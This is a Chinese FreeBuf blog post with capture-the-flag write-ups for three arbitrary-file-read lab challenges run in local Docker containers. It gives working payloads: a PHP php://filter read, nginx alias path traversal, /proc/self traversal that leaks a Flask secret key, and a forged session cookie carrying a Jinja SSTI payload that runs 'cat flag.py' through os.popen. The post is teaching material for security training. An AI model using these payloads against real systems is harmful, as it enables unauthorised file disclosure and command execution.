freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CTFer成长之路之任意文件读取漏洞
儒道易行 2023-02-21 15:12:43 130939
所属地 河北省

任意文件读取漏洞CTF

任意文件读取漏洞

afr_1

题目描述:

暂无

docker-compose.yml

version: '3.2'

services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
ports:
  - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_1_solved}

Writeup

访问url:http://192.168.10.22/?p=hello

在这里插入图片描述

本题是考查任意文件读取,利用php://协议,访问

http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag

在这里插入图片描述

将得到的数据进行base64解码,得到flag:n1book{afr_1_solved}

在这里插入图片描述

afr_2

题目描述:

暂无

docker-compose.yml

version: '3.2'

services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest
ports:
  - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_2_solved}

Writeup

访问url:http://192.168.10.22/

在这里插入图片描述

本题是考查任意文件读取,访问 http://IP:PORT/img../即可访问目录为/的文件(nginx错误配置)

访问url: http://192.168.10.22/img../

在这里插入图片描述

即可得到目录文件,访问url:192.168.10.22/img../flag

即可得到flag:n1book{afr_2_solved}

在这里插入图片描述

afr_3

题目描述:

暂无

docker-compose.yml

version: '3.2'

services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
ports:
  - 5000:5000

启动方式

docker-compose up -d

题目Flag

n1book{afr_3_solved}

Writeup

本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入

访问url:http://192.168.10.22:5000/

在这里插入图片描述

输入ifconfig进行查询

在这里插入图片描述

继续点击article

在这里插入图片描述

请求http://192.168.10.22:5000/article?name=../../../../../proc/self/cmdline获取当前执行系统命令,得到python server.py

在这里插入图片描述

请求 http://192.168.10.22:5000/article?name=../../../../../proc/self/cwd/server.py获取源码

在这里插入图片描述

审计源码,发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag

源码里存在flask SSTI,前提是可以伪造flask的cookie,这里需要用到appkey https://noraj.github.io/flask-session-cookie-manager/

@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
    return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
    n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
    session['n1code'] = n1code
template = None
if session['n1code'] is not None:
  '''
  这里存在SSTI
  '''
    template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
    session['n1code'] = None
return render_template_string(template)

所以请求

http://192.168.10.22:5000/article?name=../../../../../proc/self/cwd/key.py

获取appkey

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

在这里插入图片描述

伪造cookie为SSTI的payload获取flag.

{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

得到cookie的值为

eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk

在这里插入图片描述

安装Flask Session Cookie Decoder/Encoder

git clone https://github.com/noraj/flask-session-cookie-manager.git&& cd flask-session-cookie-manager

Decode

python3 flask_session_cookie_manager3.py decode -c 'eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk' -s 'Drmhze6EPcv0fN_81Bj-nA'

得到{'n1code': None}

在这里插入图片描述

如图所示方式进行加密

python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

得到加密后的cookie:

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Ev_wtA.71mFW-T5axswqE7F-u3jPywUWR4

在这里插入图片描述

修改session

在这里插入图片描述

获得flag:n1book{afr_3_solved}

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

# 渗透测试 # web安全 # 漏洞分析 # 代码审计 # 红队攻防
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 儒道易行 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
儒道易行 LV.7
谢天谢地、不忘祖先、敬偎圣贤
  • 77 文章数
  • 80 关注者
红队攻防文库文章集锦
2023-11-27
红队攻防文库文章集锦
2023-11-27
CTFer成长之路之逻辑漏洞
2023-02-27
文章目录